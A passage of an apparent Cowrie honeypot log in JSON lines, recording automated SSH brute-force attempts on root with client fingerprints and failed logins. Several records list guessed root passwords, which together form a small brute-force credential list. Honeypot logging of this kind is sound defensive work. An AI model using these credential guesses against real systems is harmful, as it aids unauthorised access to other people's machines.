AAAAB3NzaC1yc2EAAAADAQABAAACAQDtiWxtLw8eoNKLcCQ+/Q1LgPAG/PPKuAkCsPYegFu5R5XLOK0EeXkgzgY4xocC4DRHotR6+Od1Ff+FeY4z1kA8EsF7J/Ft8czBuxg2dovoYIdOinXEXL1+NtJHdmqB16baxSF6jLnQ6Lh67O8+QYprD+0unr3/pf89NfQIWEWey9JU+Ap+ASjK82zrPWC2H4tBASHEL4e4WQboBmhYdCdQpNm3zmcpN3BsSLo0LLB7417vnXlVt3dSDyRoJqNE8h2MsoSLiiCXb7vruIxFEzZack+tyrVKa05PX9MCjWkZVhZZndPggftexfbAB6GkNyqFzJ1LOuNWFO0dsCLSJhWC1bbPY7spsdJ2TUTFgVxBS6PSGL/bjsePP8xTxZ8kGuLpndm8FV4usPDPYqkuXTpcgPSrbaHzXIUDHmz2SqGoDWUjt09Ec5TgO8cfaDCK8k7endem1YXs3J8quFeBCrt1vEGtaUAjpTz2/6EFxQqzUcBITVHvyq2vl4oDUg6QshUFSzlzsSaQ4Fj5bJPPEZDK+Ey4cU1caggj/pf4wWc4xRBYPOK7qrAmAtvFHs5HtB675cdHPPlXtvo9JpftAeiaJNXE2puoRWwz18qS205ScN6Iqhl/DahTfTDIpWQNNGhL01cPQ2aE7g6IUA0FRRBV2BgPE9GAJ53FX1T7ctHSCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.342095Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:f2:de:f9:38:87:52:ef:a9:c3:4f:e3:29:b6:2d:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw05uiN2XwYC0/DVsa+KxSm6JfHAgn6Gr8eRl6tLsgORp4SjDKYyyYD9ZsZAAP6rCT1mObaPj2t9Fkd5jEXOynS5Peh6M5EgGdljKZhGQobTS8+i5l73h8++BqrqZe3DU7Uy7JbiewxTF0020bnSt4ajujnewTg0/OtVmXdn7OSW9au87ZDhneAwYUka9AZy4dYVNM6dLsJ2kwhbKMEX7uAfZbpAK9G1S85OODJWyvdgp3SB8AjEBhcfvNlxb9lXLQiMdvcEEOmYqWzAGiI/cqcXqjc+OyD5Zu+oES3CURa32tvFqLRHcYKYtt0xIAm+IVOI89WwMjRjXeth6cPDSsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:f2:de:f9:38:87:52:ef:a9:c3:4f:e3:29:b6:2d:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.572680Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:f2:de:f9:38:87:52:ef:a9:c3:4f:e3:29:b6:2d:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw05uiN2XwYC0/DVsa+KxSm6JfHAgn6Gr8eRl6tLsgORp4SjDKYyyYD9ZsZAAP6rCT1mObaPj2t9Fkd5jEXOynS5Peh6M5EgGdljKZhGQobTS8+i5l73h8++BqrqZe3DU7Uy7JbiewxTF0020bnSt4ajujnewTg0/OtVmXdn7OSW9au87ZDhneAwYUka9AZy4dYVNM6dLsJ2kwhbKMEX7uAfZbpAK9G1S85OODJWyvdgp3SB8AjEBhcfvNlxb9lXLQiMdvcEEOmYqWzAGiI/cqcXqjc+OyD5Zu+oES3CURa32tvFqLRHcYKYtt0xIAm+IVOI89WwMjRjXeth6cPDSsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.576383Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.807519Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.674218893051147,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:31.502613Z","src_ip":"180.235.129.180","session":"2b4a6b59f959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59696,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a0c72135d91","protocol":"ssh","message":"New connection: 109.237.96.109:59696 (159.203.135.109:22) [session: 6a0c72135d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:38.189833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:38.194629Z","src_ip":"109.237.96.109","session":"6a0c72135d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:38.284103Z","src_ip":"109.237.96.109","session":"6a0c72135d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola12","message":"login attempt [root/parola12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:38.552342Z","src_ip":"109.237.96.109","session":"6a0c72135d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:39.648349Z","src_ip":"109.237.96.109","session":"6a0c72135d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":43720,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09408ca22a4","protocol":"ssh","message":"New connection: 121.168.139.251:43720 (10.17.0.5:22) [session: e09408ca22a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:43.192955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:43.197811Z","src_ip":"121.168.139.251","session":"e09408ca22a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:43.400469Z","src_ip":"121.168.139.251","session":"e09408ca22a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ciaociao","message":"login attempt [root/ciaociao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:44.242136Z","src_ip":"121.168.139.251","session":"e09408ca22a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:45.447188Z","src_ip":"121.168.139.251","session":"e09408ca22a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":40854,"dst_ip":"10.17.0.5","dst_port":22,"session":"53aaa6002bbc","protocol":"ssh","message":"New connection: 79.143.189.125:40854 (10.17.0.5:22) [session: 53aaa6002bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:55.373780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:55.378734Z","src_ip":"79.143.189.125","session":"53aaa6002bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:55.480359Z","src_ip":"79.143.189.125","session":"53aaa6002bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:55.906225Z","src_ip":"79.143.189.125","session":"53aaa6002bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:57.006624Z","src_ip":"79.143.189.125","session":"53aaa6002bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60882,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9629ba0a41b","protocol":"ssh","message":"New connection: 103.149.170.125:60882 (159.203.135.109:22) [session: e9629ba0a41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:12.351202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:12.355668Z","src_ip":"103.149.170.125","session":"e9629ba0a41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:12.614381Z","src_ip":"103.149.170.125","session":"e9629ba0a41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cyborg","message":"login attempt [root/cyborg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:13.389363Z","src_ip":"103.149.170.125","session":"e9629ba0a41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:14.650999Z","src_ip":"103.149.170.125","session":"e9629ba0a41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":50734,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11759ccf268","protocol":"ssh","message":"New connection: 78.44.192.210:50734 (10.17.0.5:22) [session: f11759ccf268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:20.544883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:20.550192Z","src_ip":"78.44.192.210","session":"f11759ccf268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:20.655949Z","src_ip":"78.44.192.210","session":"f11759ccf268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:21.113691Z","src_ip":"78.44.192.210","session":"f11759ccf268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:22.227392Z","src_ip":"78.44.192.210","session":"f11759ccf268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":51722,"dst_ip":"159.203.135.109","dst_port":22,"session":"86199d32326c","protocol":"ssh","message":"New connection: 103.98.149.87:51722 (159.203.135.109:22) [session: 86199d32326c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:31.598786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:31.891757Z","src_ip":"103.98.149.87","session":"86199d32326c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:31.896978Z","src_ip":"103.98.149.87","session":"86199d32326c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweszxc","message":"login attempt [root/qweszxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:33.438125Z","src_ip":"103.98.149.87","session":"86199d32326c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:34.677666Z","src_ip":"103.98.149.87","session":"86199d32326c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40492,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f1c1df35bb0","protocol":"ssh","message":"New connection: 194.113.233.25:40492 (10.17.0.5:22) [session: 7f1c1df35bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:36.754297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:36.759286Z","src_ip":"194.113.233.25","session":"7f1c1df35bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:36.852338Z","src_ip":"194.113.233.25","session":"7f1c1df35bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"titanium","message":"login attempt [root/titanium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:37.130146Z","src_ip":"194.113.233.25","session":"7f1c1df35bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:38.230449Z","src_ip":"194.113.233.25","session":"7f1c1df35bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":59260,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e4ea389071","protocol":"ssh","message":"New connection: 45.233.218.160:59260 (10.17.0.5:22) [session: f7e4ea389071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:47.268347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:47.273307Z","src_ip":"45.233.218.160","session":"f7e4ea389071","protocol":"ssh"}
